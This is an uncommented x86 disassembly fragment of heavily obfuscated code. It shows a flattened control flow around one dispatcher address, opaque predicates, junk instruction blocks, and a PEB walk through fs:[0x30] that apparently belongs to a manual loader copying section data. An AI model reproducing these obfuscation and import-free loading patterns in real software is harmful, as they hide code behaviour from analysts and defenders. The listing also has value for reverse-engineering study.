mov dword [ebp - 0x16c], eax
mov eax, 0xf66c10da
jmp 0x402340
mov eax, dword [ebp - 0x38]
mov edx, dword [eax]
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xfb4b136a
and edx, 0x4b4ec95
mov edi, ecx
not edi
and ecx, 0x8b0f9599
or eax, edx
mov edx, eax
xor edx, 0x8b0b1108
xor eax, 0x4b4ec95
mov esi, eax
or eax, edi
and edi, 0x74f06a66
and esi, 0x74f06a66
and edx, 0x8b0f9599
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x40000000
mov edx, eax
not edx
and ecx, eax
and edx, 0xbfffffff
and eax, 0x40000000
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x49000002
mov edx, ecx
and edx, 0x1080058c
and ecx, 0xa67ffa71
or eax, edx
xor eax, 0x49000002
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xcfe8eef4
and eax, 0x3017110b
or eax, ecx
cmp eax, 0x3017110b
mov eax, 0x25d95d4c
mov ecx, 0x3b8b168c
cmove eax, ecx
jmp 0x402340
mov eax, 0xcb6d3f05
jmp 0x402340
mov eax, dword [0x477984]
mov edi, 0x25c8a120
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 0x4fac6632
and edx, 0x4fac6632
mov esi, ecx
and esi, 0xb05399cc
and eax, 0x4fac6633
or esi, edx
xor eax, esi
mov esi, 0xbe274565
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete ah
cmp dword [0x477980], 0xa
setl dl
setge cl
mov ch, dl
or al, dl
or dl, ah
or cl, ah
xor ch, ah
xor dl, 1
xor al, 1
xor cl, 1
or dl, ch
or cl, al
mov eax, 0x25c8a120
xor dl, 1
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
mov edx, dword [ebp - 0x24]
cmove eax, edi
mov edx, dword [edx]
mov dword [ebp - 0x134], edx
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0x71535311
and edi, 0x8eacacee
and eax, 0xce3610e5
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x31c9ef1a
mov ebx, esi
not ebx
and esi, 0x8eacacee
or eax, ecx
or edx, ebx
and ebx, 0x71535311
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xce3610e5
mov edi, esi
and edi, 0x31c9ef1a
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x8a6c98fb
cmp eax, 0xffffffff
sete ah
cmp dword [0x477980], 0xa
setl cl
setge dl
mov al, cl
or cl, ah
or dl, ah
xor al, ah
xor cl, 1
or cl, al
and al, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0xf453aaf3
mov al, dl
xor al, ah
test dl, 1
mov edx, 0xf453aaf3
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0xa0c4d004
not ecx
and eax, 0x60800a0
mov esi, ecx
and edx, 0xe9e5f655
and esi, 0x1012090a
or esi, edx
mov edx, ecx
or edx, 0x49212651
and edx, 0xe9e5f655
or eax, edx
xor eax, esi
mov esi, 0x773f0851
mov edx, eax
not edx
and eax, 0x59332f5a
and edx, 0xa6ccd0a5
or eax, edx
mov edx, eax
not edx
and eax, 0xdae71a64
and edx, 0x2518e59b
or eax, edx
xor eax, 0xdae71a64
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x477980], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
mov eax, 0x773f0851
xor dl, 1
or ch, dl
xor dl, cl
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0x415c18c
cmovne eax, edx
test ch, ch
cmovne eax, esi
jmp 0x40c472
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xabf73bfc
mov edx, eax
not edx
mov edi, eax
or edi, 0x44088401
and ecx, eax
and edi, 0x44ac8e09
and edx, 0xab5331f4
mov esi, ecx
not esi
and ecx, 0xbb5371f6
or edx, edi
or eax, esi
and esi, 0x44ac8e09
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x5408c403
and eax, 0xabf73bfc
or eax, ecx
mov ecx, eax
xor ecx, 0x20000000
mov edx, eax
not edx
and ecx, eax
and edx, 0x95fd1f64
and eax, 0x6a02e09b
or eax, edx
xor eax, 0x4a02e09b
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x9edf1d07
and eax, 0x6120e2f8
mov esi, edx
not esi
and edx, 0x3cf7f49
or ecx, eax
mov eax, ecx
xor eax, 0x2cf1d01
xor ecx, 0x6120e2f8
mov edi, ecx
or ecx, esi
and esi, 0xfc3080b6
and edi, 0xfc3080b6
and eax, 0x3cf7f49
or eax, edi
or edx, esi
not ecx
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x89ab3952
and eax, 0x7654c6ad
or ecx, eax
mov eax, ecx
xor eax, 0x81823842
xor ecx, 0x560082a4
and ecx, 0x5e2983b4
and eax, 0xa1d67c4b
or eax, ecx
xor eax, 0xa1d67c4b
mov dword [ebp - 0x198], eax
mov eax, 0xf6f658b
jmp 0x402340
mov eax, dword [ebp - 0x14]
mov eax, 0xc1bedd10
jmp 0x402340
mov eax, 0x85f4c393
jmp 0x402340
mov eax, 0x6b03708d
jmp 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x90fbc59a
and eax, 0xb7c2e538
mov esi, edx
and esi, 0x6f043a64
or ecx, esi
mov esi, ecx
xor esi, 0xdb8502
xor ecx, 0xa001801
and ecx, 0x9a205899
and esi, 0x65dfa766
or esi, ecx
mov ecx, edx
or ecx, 0x9a205898
and edx, 0x483d1ac7
and ecx, 0x9a205899
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xbcec00b5
mov esi, edx
and esi, 0x4313ff4a
or ecx, esi
mov esi, eax
xor esi, 0xb4c00030
xor eax, 0x40111a42
and eax, 0x4313ff4a
and esi, 0xbcec00b5
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x7370727d
sete cl
setne dl
cmp dword [0x477980], 0xa
setl ch
setge al
and dl, al
and ch, cl
or ch, dl
mov ah, ch
xor ah, al
xor al, cl
and ah, ch
mov dl, ah
xor dl, 1
mov ecx, edx
mov ch, dl
or dl, al
and cl, ah
xor ch, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0xebfce319
cmovne eax, esi
test dl, dl
mov edx, 0xebfce319
cmovne edx, eax
test cl, cl
cmove edx, eax
mov eax, edx
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x6500c06
mov edi, ecx
and edi, 0x590af139
mov edx, eax
and edx, 0xa0a502c0
and eax, 0x4e1e6676
or esi, edx
xor esi, 0x6500c06
or edi, esi
mov edx, edi
not edx
and edi, 0x71a10292
and edx, 0x8e5efd6d
or edi, edx
mov edx, edi
xor edi, 0x80a6222
xor edx, 0xd7540c55
mov esi, edx
or edx, ecx
and ecx, 0xb1e19989
and esi, 0xb1e19989
and edi, 0x4e1e6676
or edi, esi
or eax, ecx
not edx
mov esi, 0xdc71e584
xor eax, edi
or edx, eax
mov eax, edx
not eax
and edx, 0x88ba74a1
and eax, 0x77458b5e
or edx, eax
xor edx, 0x88ba74a1
setne dl
sete ah
cmp dword [0x477980], 0xa
setl cl
setge al
mov ch, cl
or dl, cl
or cl, ah
or al, ah
xor ch, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
xor ah, cl
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x292a1382
cmovne eax, esi
test dl, 1
mov edx, 0x292a1382
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402340
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x93a48a20
and eax, 0x6c5b75df
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xef6b750
and eax, 0xf10948af
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x95521820
xor eax, 0x62adc28f
xor edx, 0x62adc28e
and edx, eax
and ecx, 0x955a982f
and eax, 0x6aa567d0
or eax, ecx
xor eax, 0x6aa567d1
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x88204335
and eax, 0x32081082
mov edx, ecx
and edx, 0x5070808
or ecx, 0x88024131
or esi, edx
and ecx, 0xc8d2e571
mov edx, esi
xor edx, 0x200204
xor esi, 0x40d2a440
or eax, ecx
and esi, 0xc8d2e571
and edx, 0x5250a0c
or edx, esi
mov esi, 0x6e344ab5
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc08a6e68
and ecx, 0x3f759197
or eax, ecx
xor eax, 0x4dad2555
sete dl
setne cl
cmp dword [0x477980], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf3ffa4a4
cmovne ecx, esi
test al, al
mov eax, 0xf3ffa4a4
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x402340
neg edi
sub edx, 4
neg edx
rcl ebx, 0xf7
rol esi, 0x43
neg esi
or esi, 0xbf
mov ebx, 0x24
sbb ebx, 0xae
bswap edi
rol esi, 0x5a
rcr edi, 0x69
not edi
add edx, 0x2a
rcl edi, 0x81
dec esi
rcl eax, 0x86
rcl edi, 5
rcr ebx, 0x67
inc edx
rol eax, 0x6e
ror eax, 0x2e
imul ebx
dec ebx
neg eax
not edi
inc ebx
ror esi, 0xa2
not esi
neg esi
inc edx
bswap ebx
sub edx, 0x78
rcl edx, 0x6e
rcr edx, 0x1e
bswap eax
sub edx, 0xed
rcl eax, 0xb8
not esi
bswap eax
bswap ebx
add eax, 0x43
bswap edx
rol edx, 0xff
not edi
dec eax
inc edi
bswap edi
inc esi
not edi
or esi, 0x64
imul edx
not edx
bswap edi
inc edi
ror esi, 0x14
neg eax
dec ebx
and ebx, 0x6c
sbb ebx, 0xc2
mov edi, 0x49
add eax, 0x5e
not esi
and edx, 0x5a
rcl edi, 0x76
mov edx, 0x3e
mov ebx, 0xbc
ror edx, 0x25
rcl ebx, 0x4b
bswap ebx
bswap eax
neg esi
neg ebx
not edx
neg edi
and edi, 0xb3
rol ebx, 0x85
neg edi
sub esi, 0x95
inc eax
bswap ebx
dec esi
not ebx
add edi, 0x10
rcl eax, 0xdd
bswap ebx
rcr ebx, 9
sub esi, 0x4e
dec edx
inc ebx
dec edi
mov eax, 0xa9
rcl ebx, 0x6c
or ebx, 0xf6
inc edi
bswap esi
rcl eax, 0xe5
rcl edx, 0x2a
inc edx
not ebx
neg eax
bswap eax
sbb edi, 0x4c
or esi, 0xb0
bswap ebx
mov esi, 0x84
rcr edi, 0xdd
mov ebx, 0x7c
imul eax
rcl ebx, 0xc3
sub ebx, 0x93
dec edx
and edi, 0x85
dec edx
not edx
inc esi
or edi, 0x80
or edx, 0x3e
not ebx
rcr edx, 0xb2
imul esi
neg ebx
or edx, 0x18
neg esi
imul edi
sbb edx, 0x3c
neg edx
mov edx, 0x4d
or ebx, 0xf1
imul ebx
not esi
neg esi
inc ebx
inc ebx
inc esi
rol edx, 0x2e
add esi, 0x51
or edx, 0x9b
inc eax
add eax, 0x69
inc eax
imul ebx
rcl esi, 0xdb
rcl edi, 0xa6
ror edi, 0xa8
sbb eax, 1
bswap esi
bswap eax
rcr ebx, 0x5e
imul eax
mov eax, dword [ebp - 0x44]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x48]
add eax, 0xfffffff8
mov dword [ecx], eax
dec ebx
rol ebx, 0x58
imul edi
ror eax, 0xd0
not edi
sbb edi, 0xd1
or ebx, 0xeb
not eax
inc edx
not edx
imul eax
sub ebx, 0x61
neg edi
bswap edx
dec ebx
or esi, 0x2a
add edx, 0x5c
inc edi
bswap eax
rcr edx, 0xad
add esi, 0xac
inc esi
imul edi
sbb eax, 5
dec esi
rcr edx, 0x57
neg eax
imul ebx
bswap esi
add edi, 0x8d
bswap esi
add ebx, 0x31
dec edx
ror ebx, 0x4a
ror esi, 0x13
ror edx, 0x9e
neg edi
bswap eax
rol esi, 0xd7
sub edi, 0x30
add edi, 0xf5
inc edx
or esi, 0xce
mov edx, 0x87
bswap eax
neg edx
sbb ebx, 0xf6
inc edx
rcr esi, 0xc1
add esi, 0xd4
ror ebx, 5
sbb esi, 0x51
add esi, 0x11
neg edx
rcr ebx, 0x4f
inc eax
neg esi
imul edi
rcr edx, 0x9e
neg edi
inc edx
sub edx, 0xd8
dec eax
sbb edx, 0x3c
dec edx
imul edx
neg eax
inc ebx
neg ebx
dec ebx
sbb esi, 0x3d
sbb eax, 0x39
ror eax, 0x83
rcr ebx, 0
inc eax
sub edi, 0x86
ror esi, 0x59
inc edi
imul eax
rcl edx, 0x89
and eax, 0xb4
neg ebx
imul edi
add eax, 0xe
imul edi
imul edi
inc edi
or esi, 0xf9
dec ebx
rcl edi, 0x37
bswap ebx
sbb ebx, 0xa7
not esi
not eax
rcr ebx, 0x42
rcl eax, 0xfe
rcr edi, 0xf9
sub ebx, 0xad
not edx
dec eax
add edi, 0xef
dec edi
rcr esi, 0xe5
not eax
rcl ebx, 0xae
rol eax, 0x43
sub ebx, 0x5e
imul edx
bswap eax
rcr edx, 0x32
ror edi, 0x77
bswap edx
add edx, 0x65
sub eax, 0x2f
neg ebx
not esi
inc ebx
add eax, 0xfa
not eax
sbb ebx, 0x58
not ebx
neg edx
inc esi
sub edx, 0xe6
imul eax
add ebx, 0x4e
sub edi, 2
ror edx, 0x3e
neg eax
or ebx, 0xc
rcr eax, 0x4a
imul edi
rol edx, 0xa7
imul edi
add edx, 0x12
rcl edi, 0xf2
rcr ebx, 0xed
not esi
sbb eax, 0xa8
rcr eax, 0x38
dec eax
neg esi
rcl ebx, 0xe0
ror edx, 0xaa
inc eax
sbb edi, 0xf
rcr edx, 0x1d
imul ebx
rcl ebx, 0xff
imul esi
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 0x24
mov dword [ecx], eax
sub ebx, 0x3a
inc edi
imul edx
mov edx, 0x88
mov edx, 0x44
not esi
sub esi, 0x55
ror eax, 0x71
rol esi, 0xe6
mov esi, 0xc9
add edi, 0xcd
imul edi
rol ebx, 0xd
neg esi
mov edx, 0xee
and edi, 0x45
inc eax
ror edx, 0xd0
imul ebx
ror ebx, 0x2c
and edx, 0xd8
neg ebx
inc edi
bswap ebx
and edx, 9
bswap esi
sbb edx, 0x79
add edi, 0x25
neg edi
inc edx
rcl ebx, 0x38
rcr esi, 0x42
rol esi, 0x4c
not esi
rcl edx, 0x93
dec eax
rcr esi, 0xc0
sub esi, 0xe1
sbb ebx, 0xc2
rol esi, 0xb8
or edi, 0xd7
bswap esi
ror edi, 0x44
or eax, 0x4b
not ebx
rcr edi, 0x4c
or ebx, 0xf1
mov ebx, 0xa
neg ebx
rol ebx, 0xbb
not edx
bswap eax
sbb ebx, 0x83
rcl edi, 0xd2
mov eax, 1
rcl ebx, 0x21
rcr ebx, 0xbb
neg eax
bswap edx
not eax
rcl edx, 0xb9
add esi, 0x80
mov eax, 0x70
rcl edi, 0x72
sub edx, 0x20
and edi, 0x81
sub edx, 0xcf
sbb esi, 0xec
sbb edx, 0xe8
not edx
inc edx
imul edx
imul edx
dec edi
add ebx, 0xf2
ror edi, 0x71
bswap edx
bswap eax
neg edi
neg esi
neg eax
rol eax, 0xb6
dec eax
inc edi
imul edi
or edi, 0x48
not ebx
and eax, 0x82
bswap edx
sbb esi, 0x60
or edi, 0x69
ror eax, 0x64
inc eax
sub ebx, 0xac
imul esi
neg eax
inc ebx
imul edx
mov eax, 0x98
sub edi, 0x54
inc edx
bswap ebx
mov edi, 0xba
ror edx, 0xeb
dec edx
rol edx, 0x85
neg ebx
bswap esi
sbb eax, 0x28
dec edx
bswap edx
not edi
neg eax
imul esi
not eax
rcr edi, 0xf
not esi
dec edx
rcr edx, 0x79
add edi, 0xa9
sub edx, 0
neg esi
sub eax, 0xa7
rcl edx, 0xca
and edx, 0x6b
rol edx, 0x1a
not eax
inc edx
dec ebx
inc esi
ror esi, 0x16
rol edx, 0x88
dec edi
inc edx
rcr edi, 0x8a
rol ebx, 0xb6
not esi
neg edi
add edx, 0x96
inc edx
imul eax
and ebx, 0x8c
imul ebx
and esi, 0xb5
ror esi, 0x13
not eax
ror edi, 0x41
not edi
not edx
sub esi, 0x2a
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x66147752
mov eax, edx
and eax, 0x66045012
and ecx, edx
not edx
and edx, 0x102740
or eax, edx
mov edx, eax
xor edx, 0x64044010
xor eax, 0x99fbafed
mov esi, eax
and esi, 0x8b319b02
and edx, 0x64046450
or edx, esi
mov esi, ecx
not esi
and ecx, 0x74ce64fd
or eax, esi
and esi, 0x8b319b02
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2dae176e
and ecx, 0xd251e891
or eax, ecx
mov ecx, eax
xor ecx, 0x4bba603c
xor eax, 0xb4459fc3
mov edx, ecx
or edx, 0xc0234a06
mov esi, eax
mov edi, eax
or edi, 0x2009108
and esi, 0x99c0441
and edx, 0xc223db0e
and edi, 0xc223db0e
or esi, edx
mov edx, ecx
and edx, 0x344020b0
and ecx, 0x54a70e24
or edx, edi
mov edi, 0xe228d4d8
xor edx, esi
mov esi, edx
not esi
and edx, 0xb9c9548
and esi, 0xf4636ab7
or edx, esi
mov esi, eax
and esi, 0xab58f1db
and eax, 1
or esi, ecx
mov ecx, edx
not ecx
and edx, 0xb9f3093f
xor esi, 0x54a70e25
or eax, esi
mov esi, ecx
and esi, 0x460cf6c0
or edx, esi
mov esi, eax
not esi
or ecx, eax
and eax, 0x460cf6c0
and esi, 0xb9f3093f
not ecx
or esi, eax
xor esi, edx
or ecx, esi
mov esi, 0xdfcbe96f
mov eax, ecx
not eax
and ecx, 0x11839dfc
and eax, 0xee7c6203
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa8b6cf8b
and eax, 0x57493074
or ecx, eax
mov eax, ecx
xor eax, 0x464a0d80
xor ecx, 0x31104063
and eax, 0xce6f1f94
and ecx, 0x3190e06b
or ecx, eax
cmp ecx, 0x3190e06b
setne dl
cmp dword [0x477980], 0xa
setl ah
setge cl
mov al, ah
or ah, dl
xor al, dl
not al
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0xe228d4d8
cmovne edx, esi
test al, 1
cmovne edx, edi
test cl, 1
jmp 0x402335
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x12090400
mov edi, ecx
and edi, 0xe1e67bdf
mov edx, eax
and edx, 0xc108020
and eax, 0xaec954
or esi, edx
xor esi, 0x12090400
or edi, esi
mov edx, edi
not edx
and edi, 0x392dfde2
and edx, 0xc6d2021d
or edi, edx
mov edx, edi
xor edi, 0x8a8014
xor edx, 0x273479c3
mov esi, edx
or edx, ecx
and ecx, 0xff5136ab
and esi, 0xff5136ab
and edi, 0xaec954
or edi, esi
or eax, ecx
not edx
mov esi, 0xcb77abaf
xor eax, edi
mov edi, 0x445afe2e
or edx, eax
mov eax, edx
not eax
and edx, 0x5b52b80
and eax, 0xfa4ad47f
or edx, eax
xor edx, 0x5b52b80
sete dh
setne ch
cmp dword [0x477980], 0xa
mov dl, dh
setl ah
setge cl
mov al, ah
or dl, cl
or al, ch
mov ebx, edx
xor bl, al
or al, dl
mov dl, ah
xor ah, dh
and dh, cl
or cl, ch
and dl, ch
xor cl, 1
xor al, 1
or dl, dh
or cl, ah
or al, bl
xor dl, 1
xor al, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
mov ecx, eax
or dl, ah
xor al, dl
or cl, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x445afe2e
cmovne eax, esi
test cl, 1
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402340
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x73cc6a1e
and edx, ecx
not ecx
and ecx, 0x73cc6a1e
or edx, ecx
mov eax, edx
not eax
and edx, 0xad1a07bb
and eax, 0x52e5f844
or edx, eax
mov esi, edx
mov ebx, edx
xor esi, 0x1e444920
xor ebx, 0x2129925a
xor edx, 0xc4d60c04
mov eax, ebx
and eax, 0xe09b349d
and esi, 0x1f64cb62
or ebx, 0x1b09c3f9
and edx, 0xe4d60c06
or esi, eax
mov eax, esi
mov ecx, esi
xor eax, 0x1f64cb62
xor ecx, 0xfb92f764
xor esi, 0xe08b1494
and ecx, eax
and esi, 0xf2ebd5b4
and eax, 0xd142a4a
mov edi, ecx
not edi
and ecx, 0xeed6cc66
or eax, esi
mov esi, 0x939e1fd6
mov dword [ebp - 0x78], edi
and dword [ebp - 0x78], 0x11293399
or edi, ebx
and ebx, 0x11293399
xor eax, 0xd142a4a
add ecx, dword [ebp - 0x78]
or edx, ebx
not edi
xor edx, ecx
or edi, edx
mov ecx, edi
not ecx
and edi, 0xac563c9
and ecx, 0xf53a9c36
or edi, ecx
xor edi, 0x11cca031
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5e38adc6
and ecx, 0xa1c75239
or ecx, edx
xor ecx, 0x5e38adc6
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x477980], 0xa
setl dl
setge cl
xor dl, al
xor al, cl
xor cl, dl
and cl, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x1ea76fc2
mov cl, ch
xor cl, al
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x402340
mov eax, 0xc4342a0d
jmp 0x402340
mov eax, dword [ebp - 0x120]
mov ecx, 0xa63827aa
cmp dword [eax], 0
mov eax, 0x69114573
cmove eax, ecx
jmp 0x402340
cmp byte [ebp - 0x8f], 0
mov eax, 0x7365f9b5
mov ecx, 0x923e64fc
cmovne eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0xcc]
mov ecx, 0x3f581bca
cmp eax, 0xc
mov eax, 0xf51e410e
cmove eax, ecx
jmp 0x402340
mov eax, 0xdd4302d6
mov dword [ebp - 0x1c], 1
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0xd6d7b6bf
not eax
mov edx, eax
and edx, 0xd6d7b6bf
and esi, ecx
and eax, 0xc1d8afd7
or esi, edx
mov edx, esi
not edx
and esi, 0xd3d74409
and edx, 0x2c28bbf6
or esi, edx
mov edx, esi
xor edx, 0x40062b2
xor esi, 0xc2c30c08
and esi, 0xc3c39c0d
and edx, 0x3c3c63f2
or edx, esi
mov esi, edx
xor esi, 0x1823d2
xor edx, 0xc3c39c0d
mov edi, edx
or edx, ecx
and ecx, 0x3e275028
and edi, 0x3e275028
and esi, 0xc1d8afd7
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xc8aac471
or edx, eax
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x477980], 0xa
setge al
setl ch
mov dh, al
or al, dl
mov cl, ch
xor ch, ah
xor al, 1
and dh, ah
and cl, dl
or al, ch
or cl, dh
xor al, 1
or al, cl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x92cfb0a
cmovne ecx, esi
test al, 1
mov eax, 0x92cfb0a
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x118]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x60]
add eax, 4
mov dword [ebp - 0x120], eax
mov eax, 0x8f1accea
jmp 0x402340
mov eax, dword [ebp - 0x68]
mov dword [eax], 0x20
mov eax, 0xe1f19c1b
jmp 0x402340
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, 0xd922f79b
jmp 0x402340
mov eax, dword [0x477984]
mov edi, 0x933425f8
mov esi, 0x154d0926
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x837612a5
and ecx, 0x7c89ed5a
or eax, ecx
mov ecx, eax
xor ecx, 0x6401c15a
xor eax, 0x2761225
and eax, 0x1afe3e25
and ecx, 0xe501c1da
or ecx, eax
xor ecx, 0xe501c1da
sete al
setne dl
cmp dword [0x477980], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
mov edx, ecx
xor cl, al
xor al, 1
xor dl, 1
mov dh, cl
or al, dl
xor dh, al
test cl, cl
cmovne edi, esi
test al, al
mov eax, 0x933425f8
cmovne edi, eax
test dh, 1
cmove edi, esi
mov eax, edi
jmp 0x402340
mov eax, dword [ebp - 0x68]
mov dword [eax], 0x40
mov eax, 0x193cf0a6
jmp 0x402340
mov eax, dword [ebp - 0x14]
mov eax, 0x23a2918
jmp 0x402340
mov eax, 0xbe993dc3
jmp 0x402340
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, 0xa36c741e
jmp 0x402340
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xf0]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*8 + 0x14]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
mov esi, dword [esi]
lea esi, [esi + esi*4]
push dword [edx + esi*8 + 0x10]
push ecx
push eax
vzeroupper
